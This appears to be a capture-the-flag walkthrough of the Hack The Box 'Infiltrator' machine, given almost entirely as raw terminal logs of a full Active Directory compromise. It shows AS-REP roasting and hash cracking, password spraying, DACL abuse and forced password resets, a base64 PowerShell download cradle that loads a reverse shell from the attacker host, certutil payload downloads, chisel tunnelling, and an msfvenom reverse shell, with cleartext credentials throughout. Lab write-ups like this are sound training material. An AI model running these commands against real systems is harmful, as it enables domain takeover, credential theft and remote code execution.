2025/01/17 18:44:37 > [+] VALID USERNAME: a.walker@infiltrator.htb
2025/01/17 18:44:37 > [+] VALID USERNAME: m.harris@infiltrator.htb
2025/01/17 18:44:37 > [+] VALID USERNAME: e.rodriguez@infiltrator.htb
2025/01/17 18:47:44 > [+] VALID USERNAME: l.clark@infiltrator.htb
❯ cat users.txt | awk '{print $NF}' | awk '{print $1}' FS='@'
d.anderson
o.martinez
k.turner
a.walker
m.harris
e.rodriguez
l.clark
❯ cat users.txt | awk '{print $NF}' | awk '{print $1}' FS='@' | sponge users.txt❯ impacket-GetNPUsers -no-pass -usersfile users.txt infiltrator.htb/ 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] User d.anderson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User o.martinez doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User k.turner doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User a.walker doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User m.harris doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User e.rodriguez doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$l.clark@INFILTRATOR.HTB:76890a639a822a2a5f2aca12844f246d$0bf760af3d8cfce1b276ff32c9da558ca0073da317e52f22b343d7284af86d21abc939d1332f83eb6bd8c327e5bdf96c737468840ab0cfc87bf95201887f8d8c6c1bce285a08bd060ed9fc4d16192970262eb3216ada25bfc293f599e8af46d2ddc83774da32f0487b45e09648de0c23b7dd8643568245b6fbbc72686d036e432571e7862b934b74a7acb895572dc539401235856869f8fdd87066be370d5ef2184cf2f4c85b9783853445778fdce0d07d938c86e0d633516a394eba4858afda625102b5c35134904ac34ab978bfed656ba6a15830a011d4e151b2d32b1d215b0d94beb2180a8cc237581de7967a423fef8e❯ hashcat -a 0 hashes /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-sandybridge-11th Gen Intel(R) Core(TM) i5-1135G7 @ 2.40GHz, 2913/5891 MB (1024 MB allocatable), 8MCU
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
18200 | Kerberos 5, etype 23, AS-REP | Network Protocol
...[snip]...
$krb5asrep$23$l.clark@INFILTRATOR.HTB:76890a639a822a2a5f2aca12844f246d$0bf760af3d8cfce1b276ff32c9da558ca0073da317e52f22b343d7284af86d21abc939d1332f83eb6bd8c327e5bdf96c737468840ab0cfc87bf95201887f8d8c6c1bce285a08bd060ed9fc4d16192970262eb3216ada25bfc293f599e8af46d2ddc83774da32f0487b45e09648de0c23b7dd8643568245b6fbbc72686d036e432571e7862b934b74a7acb895572dc539401235856869f8fdd87066be370d5ef2184cf2f4c85b9783853445778fdce0d07d938c86e0d633516a394eba4858afda625102b5c35134904ac34ab978bfed656ba6a15830a011d4e151b2d32b1d215b0d94beb2180a8cc237581de7967a423fef8e:WAT?watismypass!❯ nxc smb 10.10.11.31 -u 'l.clark' -p 'WAT?watismypass!'
SMB 10.10.11.31 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.31 445 DC01 [+] infiltrator.htb\l.clark:WAT?watismypass! ❯ ldapdomaindump -u 'infiltrator.htb\l.clark' -p 'WAT?watismypass!' dc01.infiltrator.htb -o ldap
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished
❯ cd ldap
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ nxc smb 10.10.11.31 -u 'k.turner' -p 'MessengerApp@Pass!'
SMB 10.10.11.31 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.31 445 DC01 [-] infiltrator.htb\k.turner:MessengerApp@Pass! STATUS_LOGON_FAILURE ❯ nxc smb 10.10.11.31 -u users.txt -p 'WAT?watismypass!' --continue-on-success
SMB 10.10.11.31 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.31 445 DC01 [-] infiltrator.htb\d.anderson:WAT?watismypass! STATUS_ACCOUNT_RESTRICTION
SMB 10.10.11.31 445 DC01 [-] infiltrator.htb\o.martinez:WAT?watismypass! STATUS_LOGON_FAILURE
SMB 10.10.11.31 445 DC01 [-] infiltrator.htb\k.turner:WAT?watismypass! STATUS_LOGON_FAILURE
SMB 10.10.11.31 445 DC01 [-] infiltrator.htb\a.walker:WAT?watismypass! STATUS_LOGON_FAILURE
SMB 10.10.11.31 445 DC01 [-] infiltrator.htb\m.harris:WAT?watismypass! STATUS_ACCOUNT_RESTRICTION
SMB 10.10.11.31 445 DC01 [-] infiltrator.htb\e.rodriguez:WAT?watismypass! STATUS_LOGON_FAILURE
SMB 10.10.11.31 445 DC01 [+] infiltrator.htb\l.clark:WAT?watismypass!❯ nxc smb 10.10.11.31 -u users.txt -p 'WAT?watismypass!' --continue-on-success -k
SMB 10.10.11.31 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.31 445 DC01 [+] infiltrator.htb\d.anderson:WAT?watismypass!
SMB 10.10.11.31 445 DC01 [-] infiltrator.htb\o.martinez:WAT?watismypass! KDC_ERR_PREAUTH_FAILED
SMB 10.10.11.31 445 DC01 [-] infiltrator.htb\k.turner:WAT?watismypass! KDC_ERR_PREAUTH_FAILED
SMB 10.10.11.31 445 DC01 [-] infiltrator.htb\a.walker:WAT?watismypass! KDC_ERR_PREAUTH_FAILED
SMB 10.10.11.31 445 DC01 [-] infiltrator.htb\m.harris:WAT?watismypass! KDC_ERR_PREAUTH_FAILED
SMB 10.10.11.31 445 DC01 [-] infiltrator.htb\e.rodriguez:WAT?watismypass! KDC_ERR_PREAUTH_FAILED
SMB 10.10.11.31 445 DC01 [+] infiltrator.htb\l.clark:WAT?watismypass! ❯ kerbrute passwordspray -d infiltrator.htb --dc dc01.infiltrator.htb users.txt 'WAT?watismypass!'
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 01/17/25 - Ronnie Flathers @ropnop
2025/01/17 18:55:02 > Using KDC(s):
2025/01/17 18:55:02 > dc01.infiltrator.htb:88
2025/01/17 18:55:02 > [+] VALID LOGIN: l.clark@infiltrator.htb:WAT?watismypass!
2025/01/17 18:55:02 > [+] VALID LOGIN: d.anderson@infiltrator.htb:WAT?watismypass!
2025/01/17 18:55:02 > Done! Tested 7 logins (2 successes) in 0.343 seconds❯ nxc smb dc01.infiltrator.htb -u 'd.anderson' -p 'WAT?watismypass!'
SMB 10.10.11.31 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.31 445 DC01 [-] infiltrator.htb\d.anderson:WAT?watismypass! STATUS_ACCOUNT_RESTRICTION
❯ nxc smb dc01.infiltrator.htb -u 'd.anderson' -p 'WAT?watismypass!' -k
SMB dc01.infiltrator.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB dc01.infiltrator.htb 445 DC01 [+] infiltrator.htb\d.anderson:WAT?watismypass! ❯ impacket-getTGT infiltrator.htb/d.anderson:'WAT?watismypass!'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in d.anderson.ccache
❯ export KRB5CCNAME=$(pwd)/d.anderson.ccache
❯ klist -e
Ticket cache: FILE:/home/kali/Desktop/HackTheBox/Windows/Infiltrator/Infiltrator2/content/d.anderson.ccache
Default principal: d.anderson@INFILTRATOR.HTB
Valid starting Expires Service principal
17/01/25 21:17:44 18/01/25 01:17:44 krbtgt/INFILTRATOR.HTB@INFILTRATOR.HTB
renew until 18/01/25 01:17:44, Etype (skey, tkt): aes256-cts-hmac-sha1-96, aes256-cts-hmac-sha1-96❯ bloodhound-python -c All -ns 10.10.11.31 -u 'd.anderson' -p 'WAT?watismypass!' -k --auth-method kerberos -d infiltrator.htb --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: infiltrator.htb
INFO: Using TGT from cache
INFO: Found TGT with correct principal in ccache file.
INFO: Connecting to LDAP server: dc01.infiltrator.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.infiltrator.htb
INFO: Found 14 users
INFO: Found 58 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.infiltrator.htb
INFO: Done in 00M 15S
INFO: Compressing output into 20250117191838_bloodhound.zip❯ bloodyAD --host dc01.infiltrator.htb -d infiltrator.htb -k set owner 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'd.anderson'
[+] Old owner S-1-5-21-2606098828-3734741516-3625406802-512 is now replaced by d.anderson on OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB
❯ bloodyAD --host dc01.infiltrator.htb -d infiltrator.htb -k add genericAll 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'd.anderson'
[+] d.anderson has now GenericAll on OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB❯ impacket-dacledit -action 'write' -rights 'FullControl' -inheritance -principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'infiltrator.htb'/'d.anderson' -k -no-pass -dc-ip 10.10.11.31 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU
[*] DACL backed up to dacledit-20250117-212533.bak
[*] DACL modified successfully!
❯ impacket-dacledit -action 'read' -principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'infiltrator.htb'/'d.anderson' -k -no-pass -dc-ip 10.10.11.31 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Parsing DACL
[*] Printing parsed DACL
[*] Filtering results for SID (S-1-5-21-2606098828-3734741516-3625406802-1103)
[*] ACE[6] info
[*] ACE Type : ACCESS_ALLOWED_ACE
[*] ACE flags : None
[*] Access mask : FullControl (0xf01ff)
[*] Trustee (SID) : D.anderson (S-1-5-21-2606098828-3734741516-3625406802-1103)
[*] ACE[7] info
[*] ACE Type : ACCESS_ALLOWED_ACE
[*] ACE flags : CONTAINER_INHERIT_ACE, OBJECT_INHERIT_ACE
[*] Access mask : FullControl (0xf01ff)
[*] Trustee (SID) : D.anderson (S-1-5-21-2606098828-3734741516-3625406802-1103)❯ bloodyAD --host dc01.infiltrator.htb -d infiltrator.htb -u 'd.anderson' -k set password 'e.rodriguez' 'Password01!'
[+] Password changed successfully!
❯ nxc smb dc01.infiltrator.htb -u 'e.rodriguez' -p 'Password01!' -k
SMB dc01.infiltrator.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB dc01.infiltrator.htb 445 DC01 [+] infiltrator.htb\e.rodriguez:Password01!❯ impacket-getTGT infiltrator.htb/e.rodriguez:'Password01!'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in e.rodriguez.ccache
❯ export KRB5CCNAME=$(pwd)/e.rodriguez.ccache
❯ klist -e
Ticket cache: FILE:/home/kali/Desktop/HackTheBox/Windows/Infiltrator/Infiltrator2/content/e.rodriguez.ccache
Default principal: e.rodriguez@INFILTRATOR.HTB
Valid starting Expires Service principal
17/01/25 21:30:25 18/01/25 07:30:25 krbtgt/INFILTRATOR.HTB@INFILTRATOR.HTB
renew until 18/01/25 21:30:33, Etype (skey, tkt): aes256-cts-hmac-sha1-96, aes256-cts-hmac-sha1-96❯ bloodyAD --host dc01.infiltrator.htb -d infiltrator.htb -u 'e.rodriguez' -k add groupMember 'CHIEFS MARKETING' 'e.rodriguez'
[+] e.rodriguez added to CHIEFS MARKETING
❯ ldapsearch -x -H ldap://10.10.11.31 -D "CN=E.Rodriguez,OU=Marketing Digital,DC=infiltrator,DC=htb" -w 'Password01!' -b "CN=Chiefs Marketing,CN=Users,DC=infiltrator,DC=htb" member
#
# LDAPv3
# base <CN=Chiefs Marketing,CN=Users,DC=infiltrator,DC=htb> with scope subtree
# filter: (objectclass=*)
# requesting: member
#
# Chiefs Marketing, Users, infiltrator.htb
dn: CN=Chiefs Marketing,CN=Users,DC=infiltrator,DC=htb
member: CN=E.rodriguez,OU=Marketing Digital,DC=infiltrator,DC=htb
member: CN=A.walker,CN=Users,DC=infiltrator,DC=htb
member: CN=O.martinez,CN=Users,DC=infiltrator,DC=htb❯ bloodyAD --host dc01.infiltrator.htb -d infiltrator.htb -u 'e.rodriguez' -k set password 'm.harris' 'Password01!'
[+] Password changed successfully!
❯ nxc smb dc01.infiltrator.htb -u 'm.harris' -p 'Password01!' -k
SMB dc01.infiltrator.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB dc01.infiltrator.htb 445 DC01 [+] infiltrator.htb\m.harris:Password01! ❯ impacket-getTGT infiltrator.htb/m.harris:'Password01!'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in m.harris.ccache
❯ export KRB5CCNAME=$(pwd)/m.harris.ccache
❯ klist -e
Ticket cache: FILE:/home/kali/Desktop/HackTheBox/Windows/Infiltrator/Infiltrator2/content/m.harris.ccache
Default principal: m.harris@INFILTRATOR.HTB
Valid starting Expires Service principal
17/01/25 21:40:23 18/01/25 01:40:23 krbtgt/INFILTRATOR.HTB@INFILTRATOR.HTB
renew until 18/01/25 01:40:23, Etype (skey, tkt): aes256-cts-hmac-sha1-96, aes256-cts-hmac-sha1-96❯ evil-winrm -i dc01.infiltrator.htb -r infiltrator.htb
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\M.harris\Documents> type ../Desktop/user.txt
0e37c6698b4b********************❯ cp /opt/nishang/Shells/Invoke-PowerShellTcp.ps1 .
❯ mv Invoke-PowerShellTcp.ps1 rev.ps1
❯ nvim rev.ps1
❯ head -n 1 rev.ps1 && tail -n 1 rev.ps1
function Gzzcoo
Gzzcoo -Reverse -IPAddress 10.10.16.5 -Port 443❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...❯ echo 'IEX(New-Object Net.WebClient).downloadString("http://10.10.16.5/rev.ps1")' | iconv -t utf-16le | base64 -w 0; echo
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADUALwByAGUAdgAuAHAAcwAxACIAKQAKAA==
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...*Evil-WinRM* PS C:\> powershell -e <BASE64_CODE>❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.31] 62397
Windows PowerShell running as user M.harris on DC01
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\>whoami
infiltrator\m.harrisPS C:\Program Files> ls
Directory: C:\Program Files
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 12/4/2023 9:22 AM Common Files
d----- 8/21/2024 1:50 PM Hyper-V
d----- 2/19/2024 3:52 AM internet explorer
d----- 2/23/2024 5:06 AM Output Messenger
d----- 1/17/2025 7:02 AM Output Messenger Server
...[snip]...❯ ls -l winPEASx64.exe
.rw-r--r-- kali kali 9.4 MB Fri Jan 17 22:00:43 2025 winPEASx64.exe
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...PS C:\Windows\System32\spool\drivers\color> certutil.exe -f -urlcache -split http://10.10.16.5/winPEASx64.exe wPE.exe
**** Online ****
000000 ...
962e00
CertUtil: -URLCache command completed successfully.
PS C:\Windows\System32\spool\drivers\color> PS C:\Windows\System32\spool\drivers\color> ./wPE.exe > result.txt
PS C:\Windows\System32\spool\drivers\color> ls
Directory: C:\Windows\System32\spool\drivers\color
Mode LastWriteTime Length Name
---- ------------- ------ ----
...[snip]...
-a---- 1/17/2025 1:05 PM 271602 result.txt
-a---- 1/17/2025 1:03 PM 9842176 wPE.exe ❯ smbserver.py smbFolder $(pwd) -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsedPS C:\Windows\System32\spool\drivers\color> copy result.txt \\10.10.16.5\smbFolder\result.txt❯ ls -l chisel*
.rwxr-xr-x root root 8.9 MB Fri Jan 17 22:34:37 2025 chisel
.rw-r--r-- root root 9.3 MB Fri Jan 17 22:34:34 2025 chisel.exe
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...PS C:\Windows\System32\spool\drivers\color> certutil.exe -f -urlcache -split http://10.10.16.5/chisel.exe chisel.exe
**** Online ****
000000 ...
94f000
CertUtil: -URLCache command completed successfully.❯ ./chisel server --reverse -p 1234
2025/01/17 22:40:37 server: Reverse tunnelling enabled
2025/01/17 22:40:37 server: Fingerprint I6Ynm0ZTnuYDUNAGFMMgzfXZBpDcrTUbgapoYk6CTMc=
2025/01/17 22:40:37 server: Listening on http://0.0.0.0:1234PS C:\Windows\System32\spool\drivers\color> .\chisel.exe client 10.10.16.5:1234 R:14118:127.0.0.1:14118 R:14119:127.0.0.1:14119 R:14121:127.0.0.1:14121 R:14122:127.0.0.1:14122 R:14123:127.0.0.1:14123 R:14125:127.0.0.1:14125 R:14126:127.0.0.1:14126 R:14127:127.0.0.1:14127 R:14128:127.0.0.1:14128 R:14130:127.0.0.1:14130 R:14406:127.0.0.1:14406❯ netstat -ano | grep "LISTEN"
tcp6 0 0 :::1234 :::* LISTEN off (0.00/0/0)
tcp6 0 0 :::14121 :::* LISTEN off (0.00/0/0)
tcp6 0 0 :::14122 :::* LISTEN off (0.00/0/0)
tcp6 0 0 :::14123 :::* LISTEN off (0.00/0/0)
tcp6 0 0 :::14125 :::* LISTEN off (0.00/0/0)
tcp6 0 0 :::14126 :::* LISTEN off (0.00/0/0)
tcp6 0 0 :::14127 :::* LISTEN off (0.00/0/0)
tcp6 0 0 :::14118 :::* LISTEN off (0.00/0/0)
tcp6 0 0 :::14119 :::* LISTEN off (0.00/0/0)
tcp6 0 0 :::14128 :::* LISTEN off (0.00/0/0)
tcp6 0 0 :::14130 :::* LISTEN off (0.00/0/0)
tcp6 0 0 :::14406 :::* LISTEN off (0.00/0/0)❯ echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
1
❯ catnp /proc/sys/net/ipv4/ip_forward
1
❯ sudo iptables -A FORWARD -i tun0 -o eth0 -m state --state RELATED,ESTABLISHED -j ACCEPT
❯ sudo iptables -A FORWARD -i eth0 -o tun0 -j ACCEPT
❯ ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.249.128 netmask 255.255.255.0 broadcast 192.168.249.255
inet6 fe80::17ec:5b0f:745a:a939 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:8f:cb:51 txqueuelen 1000 (Ethernet)
RX packets 398298 bytes 93414302 (89.0 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 354211 bytes 137266652 (130.9 MiB)
TX errors 0 dropped 116 overruns 0 carrier 0 collisions 0
❯ sudo iptables -t nat -A POSTROUTING -s 192.168.249.0/24 -o tun0 -j MASQUERADEPS C:\Windows\system32> ping -n 1 10.10.11.31
Pinging 10.10.11.31 with 32 bytes of data:
Request timed out.
Ping statistics for 10.10.11.31:
Packets: Sent = 1, Received = 0, Lost = 1 (100% loss),
PS C:\Windows\system32>PS C:\Windows\system32> route add 10.10.10.0/23 mask 255.255.254.0 192.168.249.128
OK!
PS C:\Windows\system32> ping -n 1 10.10.11.31
Pinging 10.10.11.31 with 32 bytes of data:
Reply from 10.10.11.31: bytes=32 time=32ms TTL=126
Ping statistics for 10.10.11.31:
Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 32ms, Maximum = 32ms, Average = 32ms
PS C:\Windows\system32>
PS C:\Windows\system32> route add 10.10.16.0/16 mask 255.255.0.0 192.168.249.128
OK!
PS C:\Windows\system32> ping -n 1 10.10.16.5
Pinging 10.10.16.5 with 32 bytes of data:
Reply from 10.10.16.5: bytes=32 time=3ms TTL=64
Ping statistics for 10.10.16.5:
Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 3ms, Maximum = 3ms, Average = 3ms
PS C:\Windows\system32>❯ nxc smb dc01.infiltrator.htb -u users.txt -p 'D3v3l0p3r_Pass@1337!' -k --continue-on-success
SMB dc01.infiltrator.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB dc01.infiltrator.htb 445 DC01 [-] infiltrator.htb\d.anderson:D3v3l0p3r_Pass@1337! KDC_ERR_PREAUTH_FAILED
SMB dc01.infiltrator.htb 445 DC01 [-] infiltrator.htb\o.martinez:D3v3l0p3r_Pass@1337! KDC_ERR_PREAUTH_FAILED
SMB dc01.infiltrator.htb 445 DC01 [-] infiltrator.htb\k.turner:D3v3l0p3r_Pass@1337! KDC_ERR_PREAUTH_FAILED
SMB dc01.infiltrator.htb 445 DC01 [-] infiltrator.htb\a.walker:D3v3l0p3r_Pass@1337! KDC_ERR_PREAUTH_FAILED
SMB dc01.infiltrator.htb 445 DC01 [+] infiltrator.htb\m.harris:D3v3l0p3r_Pass@1337!
SMB dc01.infiltrator.htb 445 DC01 [-] infiltrator.htb\e.rodriguez:D3v3l0p3r_Pass@1337! KDC_ERR_PREAUTH_FAILED
SMB dc01.infiltrator.htb 445 DC01 [+] infiltrator.htb\l.clark account vulnerable to asreproast attackfrom Crypto.Cipher import AES
import base64
def decrypt_string(key, cipher_text):
key_bytes = key.encode('utf-8')
cipher_bytes = base64.b64decode(cipher_text)
cipher = AES.new(key_bytes, AES.MODE_CBC, b'\x00' * 16)
decrypted_bytes = cipher.decrypt(cipher_bytes)
# Elimina el relleno PKCS7 (donde el último byte indica la cantidad de relleno)
padding_length = decrypted_bytes[-1]
decrypted_bytes = decrypted_bytes[:-padding_length]
decrypted_text = decrypted_bytes.decode('utf-8')
return decrypted_text
if __name__ == "__main__":
import sys
if len(sys.argv) != 2:
print("Usage: python decrypt_script.py <cipher_text>")
sys.exit(1)
cipher_text = sys.argv[1]
key = "b14ca5898a4e4133bbce2ea2315a1916" # Clave para AES
decrypted_text = decrypt_string(key, cipher_text)
print(f"Contraseña descifrada: {decrypted_text}")❯ python decrypt.py TGlu22oo8GIHRkJBBpZ1nQ/x6l36MVj3Ukv4Hw86qGE=
Contraseña descifrada: SKqwQk81tgq+C3V7pzc1SA==
❯ echo 'SKqwQk81tgq+C3V7pzc1SA==' | base64 -d; echo
H��BO5�
�
u{�75H
❯ python decrypt.py SKqwQk81tgq+C3V7pzc1SA==
Contraseña descifrada: WinRm@$svc^!^P❯ nxc smb dc01.infiltrator.htb -u 'winrm_svc' -p 'WinRm@$svc^!^P' -k
SMB dc01.infiltrator.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB dc01.infiltrator.htb 445 DC01 [+] infiltrator.htb\winrm_svc:WinRm@$svc^!^P ❯ impacket-getTGT infiltrator.htb/winrm_svc:'WinRm@$svc^!^P'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in winrm_svc.ccache
❯ export KRB5CCNAME=$(pwd)/winrm_svc.ccache
❯ klist -e
Ticket cache: FILE:/home/kali/Desktop/HackTheBox/Windows/Infiltrator/Infiltrator2/content/winrm_svc.ccache
Default principal: winrm_svc@INFILTRATOR.HTB
Valid starting Expires Service principal
18/01/25 00:27:56 18/01/25 10:27:56 krbtgt/INFILTRATOR.HTB@INFILTRATOR.HTB
renew until 19/01/25 00:28:04, Etype (skey, tkt): aes256-cts-hmac-sha1-96, aes256-cts-hmac-sha1-96 ❯ evil-winrm -i dc01.infiltrator.htb -r infiltrator.htb
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\winrm_svc\Documents> cd "C:\Users\winrm_svc\AppData\Roaming\Output Messenger\JAAA"
*Evil-WinRM* PS C:\Users\winrm_svc\AppData\Roaming\Output Messenger\JAAA> ls
Directory: C:\Users\winrm_svc\AppData\Roaming\Output Messenger\JAAA
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2/25/2024 7:20 AM Audios
d----- 2/25/2024 7:20 AM CalendarFiles
d----- 2/25/2024 7:26 AM Log
d----- 2/25/2024 7:20 AM MailInbox
d----- 2/25/2024 7:20 AM MailSent
d----- 2/25/2024 7:20 AM Received Files
d----- 2/25/2024 7:20 AM Screenshots
d----- 2/25/2024 7:20 AM Temp
d----- 2/25/2024 7:20 AM Theme
-a---- 2/25/2024 7:20 AM 29696 OM.db3
-a---- 2/25/2024 7:20 AM 13312 OT.db3
*Evil-WinRM* PS C:\Users\winrm_svc\AppData\Roaming\Output Messenger\JAAA> download OM.db3
Info: Downloading C:\Users\winrm_svc\AppData\Roaming\Output Messenger\JAAA\OM.db3 to OM.db3
Info: Download successful!
*Evil-WinRM* PS C:\Users\winrm_svc\AppData\Roaming\Output Messenger\JAAA> download OT.db3
Info: Downloading C:\Users\winrm_svc\AppData\Roaming\Output Messenger\JAAA\OT.db3 to OT.db3
Info: Download successful!
❯ ls -l OM.db3
.rwxrwxr-x kali kali 31 KB Fri Jan 17 23:58:16 2025 OM.db3
❯ sqlite3 OM.db3
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
om_chatroom om_drive_files om_preset_message
om_chatroom_user om_escape_message om_reminder
om_custom_group_new om_hide_usergroup om_settings
om_custom_group_user_new om_notes om_user_master
om_custom_status om_notes_user om_user_photo
sqlite> select * from om_chatroom;
1|General_chat|20240219160702@conference.com|General_chat||20240219160702@conference.com|1|2024-02-20 01:07:02.909|0|0||0|0|1||
2|Chiefs_Marketing_chat|20240220014618@conference.com|Chiefs_Marketing_chat||20240220014618@conference.com|1|2024-02-20 10:46:18.858|0|0||0|0|1||
sqlite>❯ nxc smb dc01.infiltrator.htb -u 'O.martinez' -p 'm@rtinez@1996!' -k
SMB dc01.infiltrator.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB dc01.infiltrator.htb 445 DC01 [-] infiltrator.htb\O.martinez:m@rtinez@1996! KDC_ERR_PREAUTH_FAILED ❯ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.5 LPORT=444 -f exe -o reverse.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: reverse.exe
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ rlwrap -cAr nc -nlvp 444
listening on [any] 444 ...PS C:\temp> wget 192.168.249.128/reverse.exe -o reverse.exe
PS C:\temp> ls
Directory: C:\temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/18/2025 12:57 AM 28160 reverse.exe
PS C:\temp> .\reverse.exe❯ rlwrap -cAr nc -nlvp 444
listening on [any] 444 ...
connect to [10.10.16.5] from (UNKNOWN) [192.168.249.129] 53306
Microsoft Windows [Version 10.0.19045.5371]
(c) Microsoft Corporation. All rights reserved.
C:\temp>whoami
whoami
w10\gzzcoo
C:\temp>❯ rlwrap -cAr nc -nlvp 444
listening on [any] 444 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.31] 53306
Microsoft Windows [Version 10.0.17763.6189]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
